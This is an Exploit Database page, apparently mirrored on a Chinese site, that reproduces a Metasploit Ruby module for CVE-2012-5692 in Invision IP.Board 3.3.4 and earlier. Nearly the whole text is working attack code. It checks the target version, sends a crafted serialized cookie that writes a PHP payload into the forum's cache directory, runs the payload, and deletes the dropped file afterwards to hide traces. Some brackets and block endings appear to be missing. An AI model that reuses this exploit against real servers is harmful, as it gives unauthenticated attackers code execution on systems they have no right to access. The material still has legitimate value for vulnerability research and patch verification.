Invision Power Board (IP.Board) 3.3.4 – ‘Unserialize()’ PHP Code Execution (Metasploit)

Exploit Database
107 阅读

作者： Metasploit

日期： 2012-11-13
类别：
- remote
平台：
- php
来源：https://www.exploit-db.com/exploits/22686/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::PhpEXE

def initialize(info = {})

super(update_info(info,

'Name' => 'Invision IP.Board <= 3.3.4 unserialize() PHP Code Execution',

'Description'=> %q{

This module exploits a php unserialize() vulnerability in Invision IP.Board

<= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary

code under the context of the webserver user.

The dangerous unserialize() exists in the '/admin/sources/base/core.php' script,

which is called with user controlled data from the cookie. The exploit abuses the

__destruct() method from the dbMain class to write arbitrary PHP code to a file on

the Invision IP.Board web directory.

The exploit has been tested successfully on Invision IP.Board 3.3.4.

'Author' =>

[

'EgiX', # Vulnerability discovery and PoC

'juan vazquez', # Metasploit module

'sinn3r'# PhpEXE tekniq & check() method

'License'=> MSF_LICENSE,

'References' =>

[

[ 'CVE', '2012-5692' ],

[ 'OSVDB', '86702' ],

[ 'BID', '56288' ],

[ 'EDB', '22398' ],

[ 'URL', 'http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/' ]

'Privileged' => false,

'Platform' => ['php'],

'Arch' => ARCH_PHP,

'Payload'=>

{

'Space' => 8000, #Apache's limit for GET

'DisableNops' => true

'Targets'=> [ ['Invision IP.Board 3.3.4', {}] ],

'DefaultTarget'=> 0,

'DisclosureDate' => 'Oct 25 2012'

))

register_options(

[

OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"])

], self.class)

end

def base

base = target_uri.path

base << '/' if base[-1, 1] != '/'

return base

end

def check

res = send_request_raw({'uri'=>"#{base}index.php"})

return Exploit::CheckCode::Unknown if not res

version = res.body.scan(/Community Forum Software by IP\.Board (\d+)\.(\d+).(\d+)/).flatten

version = version.map {|e| e.to_i}

# We only want major version 3

# This version checking is based on OSVDB's info

return Exploit::CheckCode::Safe if version[0] != 3

case version[1]

when 1

return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)

when 2

return Exploit::CheckCode::Vulnerable if version[2].between?(0, 3)

when 3

return Exploit::CheckCode::Vulnerable if version[2].between?(0, 4)

end

return Exploit::CheckCode::Safe

end

def on_new_session(client)

if client.type == "meterpreter"

client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

begin

print_warning("#{@peer} - Deleting #{@upload_php}")

client.fs.file.rm(@upload_php)

print_good("#{@peer} - #{@upload_php} removed to stay ninja")

rescue

print_error("#{@peer} - Unable to remove #{f}")

end

def exploit

@upload_php = rand_text_alpha(rand(4) + 4) + ".php"

@peer = "#{rhost}:#{rport}"

# get_write_exec_payload uses a function, which limits our ability to support

# Linux payloads, because that requires a space:

# function my_cmd

# becomes:

# functionmy_cmd #Causes parsing error

# We'll have to address that in the mixin, and then come back to this module

# again later.

php_payload = get_write_exec_payload(:unlink_self=>true)

php_payload = php_payload.gsub(/^\<\?php/, '<?')

php_payload = php_payload.gsub(/ /,'')

db_driver_mysql = "a:1:{i:0;O:15:\"db_driver_mysql\":1:{s:3:\"obj\";a:2:{s:13:\"use_debug_log\";i:1;s:9:\"debug_log\";s:#{"cache/#{@upload_php}".length}:\"cache/#{@upload_php}\";}}}"

print_status("#{@peer} - Exploiting the unserialize() to upload PHP code")

res = send_request_cgi(

{

'uri' => "#{base}index.php?#{php_payload}",

'method' => 'GET',

'cookie' => "member_id=#{Rex::Text.uri_encode(db_driver_mysql)}"

})

if not res or res.code != 200

print_error("#{@peer} - Exploit failed: #{res.code}")

return

end

print_status("#{@peer} - Executing the payload #{@upload_php}")

res = send_request_raw({'uri' => "#{base}cache/#{@upload_php}"})

if res

print_error("#{@peer} - Payload execution failed: #{res.code}")

return

end